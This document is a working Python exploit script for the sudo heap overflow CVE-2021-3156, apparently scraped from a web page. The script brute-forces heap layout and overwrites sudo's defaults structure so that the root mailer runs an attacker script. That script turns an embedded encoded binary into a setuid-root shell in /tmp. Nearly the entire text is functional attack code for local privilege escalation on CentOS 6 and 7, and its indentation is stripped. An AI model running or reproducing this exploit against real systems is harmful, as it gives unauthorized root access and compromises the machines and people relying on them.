Your IP : 3.137.217.235
#!/usr/bin/python
'''
Exploit for CVE-2021-3156 with struct defaults overwrite (mailer) by sleepya
This exploit requires:
- glibc without tcache
- there is defaults line in /etc/sudoers (and at least one of them is allolcated after large hole)
- disable-root-mailer is not set
- /tmp is not mounted with nosuid (need modify SHELL_PATH)
Note: Disable ASLR before running the exploit if you don't want to wait for bruteforcing
Without glibc tcache, a heap layout rarely contains hole.
The heap overflow vulnerability is triggered after parsing /etc/sudoers.
The parsing process always leaves a large hole before parsed data (struct defaults, struct userspec).
In the end of set_cmnd() function, there is a call to update_defaults(SET_CMND) function.
It is called update heap buffer overflow. So we can update def_* value by overwriting
struct defatuls (need type=DEFAULTS_CMND and fake binding).
Tested on:
- CentOS 7 (1.8.23, 1.8.19p2)
- CentOS 6 (1.8.6)
'''
import os
import subprocess
import sys
import resource
import select
import signal
import time
from struct import pack
from ctypes import cdll, c_char_p, POINTER
SUDO_PATH = b"/usr/bin/sudo"
SHELL_PATH = b"/tmp/gg" # a shell script file executed by sudo (max length is 31)
SUID_PATH = "/tmp/sshell" # a file that will be owned by root and suid
PWNED_PATH = "/tmp/pwned" # a file that will be created after SHELL_PATH is executed
libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)
resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY))
try:
SUID_PATH = os.environ["SUID_PATH"]
print("Using SUID_PATH = %s" % SUID_PATH)
except:
pass
def create_bin(bin_path):
if os.path.isfile(bin_path):
return # existed
try:
os.makedirs(bin_path[:bin_path.rfind('/')])
except:
pass
import base64, zlib
bin_b64 = 'eNqrd/VxY2JkZIABJgY7BhCvgsEBzHdgwAQODBYMMB0gmhVNFpmeCuXBaAYBCJWVGcHPmpUFJDx26Cdl5ukXZzAEhMRnWUfM5GcFAGyiDWs='
with open(bin_path, 'wb') as f:
f.write(zlib.decompress(base64.b64decode(bin_b64)))
def create_shell(path, suid_path):
with open(path, 'w') as f:
f.write('#!/bin/sh\n')
f.write('/usr/bin/id >> %s\n' % PWNED_PATH)
f.write('/bin/chown root.root %s\n' % suid_path)
f.write('/bin/chmod 4755 %s\n' % suid_path)
os.chmod(path, 0o755)
def execve(filename, cargv, cenvp):
libc.execve(filename, cargv, cenvp)
def spawn_raw(filename, cargv, cenvp):
pid = os.fork()
if pid:
# parent
_, exit_code = os.waitpid(pid, 0)
return exit_code & 0xff7f # remove coredump flag
else:
# child
execve(filename, cargv, cenvp)
exit(0)
def spawn(filename, argv, envp):
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(envp))(*envp)
# Note: error with backtrace is print to tty directly. cannot be piped or suppressd
r, w = os.pipe()
pid = os.fork()
if not pid:
# child
os.close(r)
os.dup2(w, 2)
execve(filename, cargv, cenvp)
exit(0)
# parent
os.close(w)
# might occur deadlock in heap. kill it if timeout and set exit_code as 6
# 0.5 second should be enough for execution
sr, _, _ = select.select([ r ], [], [], 0.5)
if not sr:
os.kill(pid, signal.SIGKILL)
_, exit_code = os.waitpid(pid, 0)
if not sr: # timeout, assume dead lock in heap
exit_code = 6
r = os.fdopen(r, 'r')
err = r.read()
r.close()
return exit_code & 0xff7f, err # remove coredump flag
def has_askpass(err):
# 'sudoedit: no askpass program specified, try setting SUDO_ASKPASS'
return 'sudoedit: no askpass program ' in err
def has_not_permitted_C_option(err):
# 'sudoedit: you are not permitted to use the -C option'
return 'not permitted to use the -C option' in err
def get_sudo_version():
proc = subprocess.Popen([SUDO_PATH, '-V'], stdout=subprocess.PIPE, bufsize=1, universal_newlines=True)
for line in proc.stdout:
line = line.strip()
if not line:
continue
if line.startswith('Sudo version '):
txt = line[13:].strip()
pos = txt.rfind('p')
if pos != -1:
txt = txt[:pos]
versions = list(map(int, txt.split('.')))
break
proc.wait()
return versions
def check_sudo_version():
sudo_vers = get_sudo_version()
assert sudo_vers[0] == 1, "Unexpect sudo major version"
assert sudo_vers[1] == 8, "Unexpect sudo minor version"
return sudo_vers[2]
def check_mailer_root():
if not os.access(SUDO_PATH, os.R_OK):
print("Cannot determine disble-root-mailer flag")
return True
return subprocess.call(['grep', '-q', 'disable-root-mailer', SUDO_PATH]) == 1
def find_cmnd_size():
argv = [ b"sudoedit", b"-A", b"-s", b"", None ]
env = [ b'A'*(7+0x4010+0x110-1), b"LC_ALL=C", b"TZ=:", None ]
size_min, size_max = 0xc00, 0x2000
found_size = 0
while size_max - size_min > 0x10:
curr_size = (size_min + size_max) // 2
curr_size &= 0xfff0
print("\ncurr size: 0x%x" % curr_size)
argv[-2] = b"\xfc"*(curr_size-0x10)+b'\\'
exit_code, err = spawn(SUDO_PATH, argv, env)
print("\nexit code: %d" % exit_code)
print(err)
if exit_code == 256 and has_askpass(err):
# need pass. no crash.
# fit or almost fit
if found_size:
found_size = curr_size
break
# maybe almost fit. try again
found_size = curr_size
size_min = curr_size
size_max = curr_size + 0x20
elif exit_code in (7, 11):
# segfault. too big
if found_size:
break
size_max = curr_size
else:
assert exit_code == 6
# heap corruption. too small
size_min = curr_size
if found_size:
return found_size
assert size_min == 0x2000 - 0x10
# old sudo version and file is in /etc/sudoers.d
print('has 2 holes. very large one is bad')
size_min, size_max = 0xc00, 0x2000
for step in (0x400, 0x100, 0x40, 0x10):
found = False
env[0] = b'A'*(7+0x4010+0x110-1+step+0x100)
for curr_size in range(size_min, size_max, step):
argv[-2] = b"A"*(curr_size-0x10)+b'\\'
exit_code, err = spawn(SUDO_PATH, argv, env)
print("\ncurr size: 0x%x" % curr_size)
print("\nexit code: %d" % exit_code)
print(err)
if exit_code in (7, 11):
size_min = curr_size
found = True
elif found:
print("\nsize_min: 0x%x" % size_min)
break
assert found, "Cannot find cmnd size"
size_max = size_min + step
# TODO: verify
return size_min
def find_defaults_chunk(argv, env_prefix):
offset = 0
pos = len(env_prefix) - 1
env = env_prefix[:]
env.extend([ b"LC_ALL=C", b"TZ=:", None ])
# overflow until sudo crash without asking pass
# crash because of defaults.entries.next is overwritten
while True:
env[pos] += b'A'*0x10
exit_code, err = spawn(SUDO_PATH, argv, env)
print("\ncurr offset: 0x%x" % offset)
print("exit code: %d" % exit_code)
print(err)
# 7 bus error, 11 segfault
if exit_code in (7, 11) and not has_not_permitted_C_option(err):
# found it
env[pos] = env[pos][:-0x10]
break
offset += 0x10
# verify if it is defaults
env = env[:-3]
env[-1] += b'\x41\\' # defaults chunk size 0x40
env.extend([
b'\\', b'\\', b'\\', b'\\', b'\\', b'\\',
(b'' if has_tailq else b'A'*8) + # prev if no tailq
b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # entries.next
(b'A'*8 if has_tailq else b'') + # entries.prev
pack("<Q", 0xffffffffff600000+0x880) + # var (use vsyscall for testing)
b"A"*(0x20-1), # binding, file, type, op, error, lineno
b"LC_ALL=C", b"TZ=:", None
])
exit_code, err = spawn(SUDO_PATH, argv, env)
print("\nretrying with vsyscall")
print("exit code: %d" % exit_code)
print(err)
# old sudo verion has no cleanup if authen fail. exit code is 256.
assert exit_code in (256, 11) and has_not_permitted_C_option(err), "cannot find defaults chunk"
return offset
def create_env(offset_defaults):
with open('/proc/sys/kernel/randomize_va_space') as f:
has_aslr = int(f.read()) != 0
if has_aslr:
STACK_ADDR_PAGE = 0x7fffe5d35000
else:
STACK_ADDR_PAGE = 0x7fffffff1000 # for ASLR disabled
SA = STACK_ADDR_PAGE
ADDR_MEMBER_PREV = pack('<Q', SA+8)
ADDR_MEMBER_LAST = ADDR_MEMBER_PREV
ADDR_MEMBER = pack('<Q', SA+0x20)
ADDR_DEF_BINDING = ADDR_MEMBER
ADDR_MAILER_VAR = pack('<Q', SA+0x20+0x30)
ADDR_MAILER_VAL = pack('<Q', SA+0x20+0x30+0x10)
ADDR_ALWAYS_VAR = pack('<Q', SA+0x20+0x30+0x10+0x20)
ADDR_DEF_BAD = pack('<Q', SA+0x20+0x30+0x10+0x20+0x10)
# no need to make cleanup without a crash. mailer is executed before cleanup steps
# def_mailto is always set
# def_mailerflags is mailer arguments
epage = [
b'A'*0x8 + # to not ending with 0x00
ADDR_MEMBER[:6], b'', # pointer to member
ADDR_MEMBER_PREV[:6], b'', # pointer to member
# member chunk (and defaults->binding (list head))
b'A'*8 + # chunk size
b'', b'', b'', b'', b'', b'', b'', b'', # members.first
ADDR_MEMBER_LAST[:6], b'', # members.last
b'A'*8 + # member.name (can be any because this object is freed as list head (binding))
pack('<H', MATCH_ALL), b'', # type, negated
b'A'*0xc + # padding
# var (mailer)
b'A'*8 + # chunk size
b"mailerpath", b'A'*5 +
# val (mailer) (assume path length is less than 32)
SHELL_PATH, b'A'*(0x20-len(SHELL_PATH)-1) +
# var (mail_always)
b"mail_always", b'A'*4 +
# defaults (invalid mail_always, has val)
(b'' if has_tailq else b'A'*8) + # prev if no tailq
b'', b'', b'', b'', b'', b'', b'', b'', # next
(b'A'*8 if has_tailq else b'') + # prev if has tailq
ADDR_ALWAYS_VAR[:6], b'', # var
ADDR_ALWAYS_VAR[:6], b'', # val (invalid defaults mail_always, trigger sendmail immediately)
ADDR_DEF_BINDING[:6], b'', # binding or binding.first
]
if has_file:
epage.extend([ ADDR_ALWAYS_VAR[:6], b'' ]) # file
elif not has_tailq:
epage.extend([ ADDR_MEMBER[:6], b'' ]) # binding.last
epage.extend([
pack('<H', DEFAULTS_CMND) + # type
b'', b'', # for type is 4 bytes version
])
env = [
b'A'*(7+0x4010+0x110+offset_defaults) +
b'A'*8 + # chunk metadata
(b'' if has_tailq else b'A'*8) + # prev if no tailq
ADDR_DEF_BAD[:6]+b'\\', b'\\', # next
(b'A'*8 if has_tailq else b'') + # prev if has tailq
ADDR_MAILER_VAR[:6]+b'\\', b'\\', # var
ADDR_MAILER_VAL[:6]+b'\\', b'\\', # val
ADDR_DEF_BINDING[:6]+b'\\', b'\\', # binding or bind.first
]
if has_file or not has_tailq:
env.extend([ ADDR_MEMBER[:6]+b'\\', b'\\' ]) # binding.last or file (no use)
env.extend([
pack('<H', DEFAULTS_CMND) + # type
(b'\x01' if has_file else b'\\'), b'', # if not has_file, type is int (4 bytes)
b"LC_ALL=C",
b"TZ=:",
b"SUDO_ASKPASS=/invalid",
])
cnt = sum(map(len, epage))
padlen = 4096 - cnt - len(epage)
epage.append(b'P'*(padlen-1))
ENV_STACK_SIZE_MB = 4
for i in range(ENV_STACK_SIZE_MB * 1024 // 4):
env.extend(epage)
# reserve space in last element for '/usr/bin/sudo' and padding
env[-1] = env[-1][:-14-8]
env.append(None)
return env
def run_until_success(argv, env):
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(env))(*env)
create_bin(SUID_PATH)
create_shell(SHELL_PATH, SUID_PATH)
# don't redirect to null as some output helps understanding if exploit works as expected
# and it only prints when success
#null_fd = os.open('/dev/null', os.O_RDWR)
#os.dup2(null_fd, 2)
for i in range(65536):
sys.stdout.write('%d\r' % i)
if i % 8 == 0:
sys.stdout.flush()
exit_code = spawn_raw(SUDO_PATH, cargv, cenvp)
# on success, give it some time for the binary to execute
if exit_code == 256:
time.sleep(2)
if os.path.exists(PWNED_PATH):
print("success at %d" % i)
if os.stat(PWNED_PATH).st_uid != 0:
print("ROOT MAILER is disabled :(")
else:
print('execute "%s" to get root shell' % SUID_PATH)
break
if exit_code not in (7, 11):
print("invalid offset. exit code: %d" % exit_code)
break
def main():
cmnd_size = int(sys.argv[1], 0) if len(sys.argv) > 1 else None
offset_defaults = int(sys.argv[2], 0) if len(sys.argv) > 2 else None
if cmnd_size is None:
cmnd_size = find_cmnd_size()
print("found cmnd size: 0x%x" % cmnd_size)
argv = [ b"sudoedit", b"-A", b"-s", b"-C", b"1337", b"A"*(cmnd_size-0x10)+b"\\", None ]
env_prefix = [ b'A'*(7+0x4010+0x110) ]
if offset_defaults is None:
offset_defaults = find_defaults_chunk(argv, env_prefix)
assert offset_defaults != -1
print('')
print("cmnd size: 0x%x" % cmnd_size)
print("offset to defaults: 0x%x" % offset_defaults)
argv = [ b"sudoedit", b"-A", b"-s", b"-C", b"1337", b"A"*(cmnd_size-0x10)+b"\\", None ]
env = create_env(offset_defaults)
run_until_success(argv, env)
if __name__ == "__main__":
# global intialization
assert check_mailer_root(), "root mailer is disabled"
sudo_ver = check_sudo_version()
DEFAULTS_CMND = 269
if sudo_ver >= 15:
MATCH_ALL = 284
elif sudo_ver >= 13:
MATCH_ALL = 282
elif sudo_ver >= 7:
MATCH_ALL = 280
elif sudo_ver < 7:
MATCH_ALL = 279
DEFAULTS_CMND = 268
has_tailq = sudo_ver >= 9
has_file = sudo_ver >= 19 # has defaults.file pointer
main()